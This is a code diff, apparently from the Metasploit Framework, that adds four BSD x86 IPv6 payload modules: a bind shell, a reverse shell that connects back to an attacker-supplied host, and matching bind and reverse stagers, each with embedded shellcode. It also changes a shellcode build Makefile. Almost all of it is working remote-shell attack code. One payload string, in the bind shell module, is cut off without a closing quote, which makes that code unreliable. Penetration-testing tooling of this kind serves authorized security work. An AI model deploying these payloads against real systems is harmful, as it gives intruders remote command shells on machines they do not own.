diff --git a/external/source/shellcode/Makefile.incl b/external/source/shellcode/Makefile.incl index a79dced9e7..ef771e44b5 100644 --- a/external/source/shellcode/Makefile.incl +++ b/external/source/shellcode/Makefile.incl @@ -1,2 +1,3 @@ -BUILDASM=do echo -n "Building $$i..." && nasm -f bin $$i.asm -o $$i.o && nasm -f elf $$i.asm -o $$i.o.tmp && ld $$i.o.tmp -o $$i && rm -f $$i.o.tmp && xxd -c 16 -ps $$i.o | sed 's/\([0123456789abcdef][0123456789abcdef]\)/\\x\1/g' > $$i.hex && wc -c $$i.o | awk '{print $$1}' ; ndisasm -b 32 $$i.o > $$i.disasm -BUILDASMBSD=do echo -n "Building $$i..." && nasm -f bin $$i.asm -o $$i.o && nasm -f elf $$i.asm -o $$i.o.tmp && gcc $$i.o.tmp -o $$i && rm -f $$i.o.tmp && xxd -c 16 -ps $$i.o | sed 's/\([0123456789abcdef][0123456789abcdef]\)/\\x\1/g' > $$i.hex && wc -c $$i.o | awk '{print $$1}' ; ndisasm -b 32 $$i.o > $$i.disasm +BUILDASM=do echo -n "Building (ASM) $$i..." && nasm -f bin $$i.asm -o $$i.o && nasm -f elf $$i.asm -o $$i.o.tmp && ld $$i.o.tmp -o $$i && rm -f $$i.o.tmp && xxd -c 16 -ps $$i.o | sed 's/\([0123456789abcdef][0123456789abcdef]\)/\\x\1/g' > $$i.hex && wc -c $$i.o | awk '{print $$1}' ; ndisasm -b 32 $$i.o > $$i.disasm + +BUILDASMBSD=do echo -n "Building (BSDASM) $$i..." && nasm -f bin $$i.asm -o $$i.o && nasm -f elf $$i.asm -o $$i.o.tmp && gcc $$i.o.tmp -o $$i && rm -f $$i.o.tmp && xxd -c 16 -ps $$i.o | sed 's/\([0123456789abcdef][0123456789abcdef]\)/\\x\1/g' > $$i.hex && wc -c $$i.o | awk '{print $$1}' ; ndisasm -b 32 $$i.o > $$i.disasm diff --git a/modules/payloads/singles/bsd/x86/shell_bind_tcp_ipv6.rb b/modules/payloads/singles/bsd/x86/shell_bind_tcp_ipv6.rb new file mode 100644 index 0000000000..bf167da40a --- /dev/null +++ b/modules/payloads/singles/bsd/x86/shell_bind_tcp_ipv6.rb @@ -0,0 +1,52 @@ +## +# $Id$ +## + +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# Framework web site for more information on licensing and terms of use. +# http://metasploit.com/framework/ +## + +require 'msf/core' +require 'msf/core/handler/bind_tcp' +require 'msf/base/sessions/command_shell' +require 'msf/base/sessions/command_shell_options' + +module Metasploit3 + + include Msf::Payload::Single + include Msf::Payload::Bsd + include Msf::Sessions::CommandShellOptions + + def initialize(info = {}) + super(merge_info(info, + 'Name' => 'BSD Command Shell, Bind TCP Inline (IPv6)', + 'Version' => '$Revision$', + 'Description' => 'Listen for a connection and spawn a command shell over IPv6', + 'Author' => ['skape', 'vlad902', 'hdm'], + 'License' => MSF_LICENSE, + 'Platform' => 'bsd', + 'Arch' => ARCH_X86, + 'Handler' => Msf::Handler::BindTcp, + 'Session' => Msf::Sessions::CommandShellUnix, + 'Payload' => + { + 'Offsets' => + { + 'LPORT' => [ 26, 'n' ], + }, + 'Payload' => + "\x31\xc0\x50\x40\x50\x6a\x1c\x6a\x61\x58\x50\xcd\x80\x89\xc3\x31" + + "\xd2\x52\x52\x52\x52\x52\x52\x68\x1c\x1c\xbf\xbf\x89\xe1\x6a\x1c" + + "\x51\x50\x6a\x68\x58\x50\xcd\x80\xb0\x6a\xcd\x80\x52\x53\x52\xb0" + + "\x1e\xcd\x80\x97\x6a\x02\x59\x6a\x5a\x58\x51\x57\x51\xcd\x80\x49" + + "\x79\xf5\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50" + + "\x54\x53\x53\xb0\x3b\xcd\x80 + + } + )) + end + +end diff --git a/modules/payloads/singles/bsd/x86/shell_reverse_tcp_ipv6.rb b/modules/payloads/singles/bsd/x86/shell_reverse_tcp_ipv6.rb new file mode 100644 index 0000000000..06faffaa6c --- /dev/null +++ b/modules/payloads/singles/bsd/x86/shell_reverse_tcp_ipv6.rb @@ -0,0 +1,57 @@ +## +# $Id$ +## + +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# Framework web site for more information on licensing and terms of use. +# http://metasploit.com/framework/ +## + +require 'msf/core' +require 'msf/core/handler/reverse_tcp' +require 'msf/base/sessions/command_shell' +require 'msf/base/sessions/command_shell_options' + +module Metasploit3 + + include Msf::Payload::Single + include Msf::Payload::Bsd + include Msf::Sessions::CommandShellOptions + + def initialize(info = {}) + super(merge_info(info, + 'Name' => 'BSD Command Shell, Reverse TCP Inline (IPv6)', + 'Version' => '$Revision$', + 'Description' => 'Connect back to attacker and spawn a command shell over IPv6', + 'Author' => [ 'skape', 'vlad902', 'hdm' ], + 'License' => MSF_LICENSE, + 'Platform' => 'bsd', + 'Arch' => ARCH_X86, + 'Handler' => Msf::Handler::ReverseTcp, + 'Session' => Msf::Sessions::CommandShellUnix, + 'Payload' => + { + 'Offsets' => + { + 'LHOST' => [ 43, 'ADDR' ], + 'LPORT' => [ 36, 'n' ], + 'SCOPEID' => [ 59, 'V' ] + }, + 'Payload' => + "\x31\xc0\x50\x40\x50\x6a\x1c\x6a\x61\x58\x50\xcd\x80\xeb\x0e\x59" + + "\x6a\x1c\x51\x50\x97\x6a\x62\x58\x50\xcd\x80\xeb\x21\xe8\xed\xff" + + "\xff\xff\x1c\x1c\xbf\xbf\x00\x00\x00\x00\x40\x41\x42\x43\x45\x46" + + "\x47\x48\x49\x4a\x4b\x4d\x4e\x4f\x50\x51\x00\x00\x00\x00\x6a\x02" + + "\x59\xb0\x5a\x51\x57\x51\xcd\x80\x49\x79\xf6\x50\x68\x2f\x2f\x73" + + "\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x54\x53\x53\xb0\x3b\xcd\x80" + + } + )) + register_options([ + OptInt.new('SCOPEID', [false, "IPv6 scope ID, for link-local addresses", 0]) + ]) + end + +end diff --git a/modules/payloads/stagers/bsd/x86/bind_ipv6_tcp.rb b/modules/payloads/stagers/bsd/x86/bind_ipv6_tcp.rb new file mode 100644 index 0000000000..0739922712 --- /dev/null +++ b/modules/payloads/stagers/bsd/x86/bind_ipv6_tcp.rb @@ -0,0 +1,58 @@ +## +# $Id$ +## + +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# Framework web site for more information on licensing and terms of use. +# http://metasploit.com/framework/ +## + + +require 'msf/core' +require 'msf/core/handler/bind_tcp' + + +### +# +# BindTcp +# ------- +# +# BSD bind TCP stager. +# +### +module Metasploit3 + + include Msf::Payload::Stager + + def self.handler_type_alias + "bind_ipv6_tcp" + end + + def initialize(info = {}) + super(merge_info(info, + 'Name' => 'Bind TCP Stager (IPv6)', + 'Version' => '$Revision$', + 'Description' => 'Listen for a connection over IPv6', + 'Author' => ['skape', 'vlad902', 'hdm'], + 'License' => MSF_LICENSE, + 'Platform' => 'bsd', + 'Arch' => ARCH_X86, + 'Handler' => Msf::Handler::BindTcp, + 'Stager' => + { + 'Offsets' => + { + 'LPORT' => [ 26, 'n' ], + }, + 'Payload' => + "\x31\xc0\x50\x40\x50\x6a\x1c\x6a\x61\x58\x50\xcd\x80\x89\xc3\x31" + + "\xd2\x52\x52\x52\x52\x52\x52\x68\x1c\x1c\xbf\xbf\x89\xe1\x6a\x1c" + + "\x51\x50\x6a\x68\x58\x50\xcd\x80\xb0\x6a\xcd\x80\x52\x53\xb6\x10" + + "\x52\xb0\x1e\xcd\x80\x51\x50\x51\x97\x6a\x03\x58\xcd\x80\xc3" + } + )) + end + +end diff --git a/modules/payloads/stagers/bsd/x86/reverse_ipv6_tcp.rb b/modules/payloads/stagers/bsd/x86/reverse_ipv6_tcp.rb new file mode 100644 index 0000000000..cf7df3b93c --- /dev/null +++ b/modules/payloads/stagers/bsd/x86/reverse_ipv6_tcp.rb @@ -0,0 +1,65 @@ +## +# $Id$ +## + +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# Framework web site for more information on licensing and terms of use. +# http://metasploit.com/framework/ +## + + +require 'msf/core' +require 'msf/core/handler/reverse_tcp' + + +### +# +# ReverseTcp +# ---------- +# +# BSD reverse TCP stager. +# +### +module Metasploit3 + + include Msf::Payload::Stager + + + def self.handler_type_alias + "reverse_ipv6_tcp" + end + + def initialize(info = {}) + super(merge_info(info, + 'Name' => 'Reverse TCP Stager (IPv6)', + 'Version' => '$Revision$', + 'Description' => 'Connect back to the attacker over IPv6', + 'Author' => ['skape', 'vlad902', 'hdm'], + 'License' => MSF_LICENSE, + 'Platform' => 'bsd', + 'Arch' => ARCH_X86, + 'Handler' => Msf::Handler::ReverseTcp, + 'Stager' => + { + 'Offsets' => + { + 'LHOST' => [ 43, 'ADDR' ], + 'LPORT' => [ 36, 'n' ], + 'SCOPEID' => [ 59, 'V' ] + }, + 'Payload' => + "\x31\xc0\x50\x40\x50\x6a\x1c\x6a\x61\x58\x50\xcd\x80\xeb\x0e\x59" + + "\x6a\x1c\x51\x50\x97\x6a\x62\x58\x50\xcd\x80\xeb\x21\xe8\xed\xff" + + "\xff\xff\x1c\x1c\xbf\xbf\x00\x00\x00\x00\x40\x41\x42\x43\x45\x46" + + "\x47\x48\x49\x4a\x4b\x4d\x4e\x4f\x50\x51\x00\x00\x00\x00\xb0\x03" + + "\xc6\x41\xfd\x10\xcd\x80\xc3" + } + )) + register_options([ + OptInt.new('SCOPEID', [false, "IPv6 scope ID, for link-local addresses", 0]) + ]) + end + +end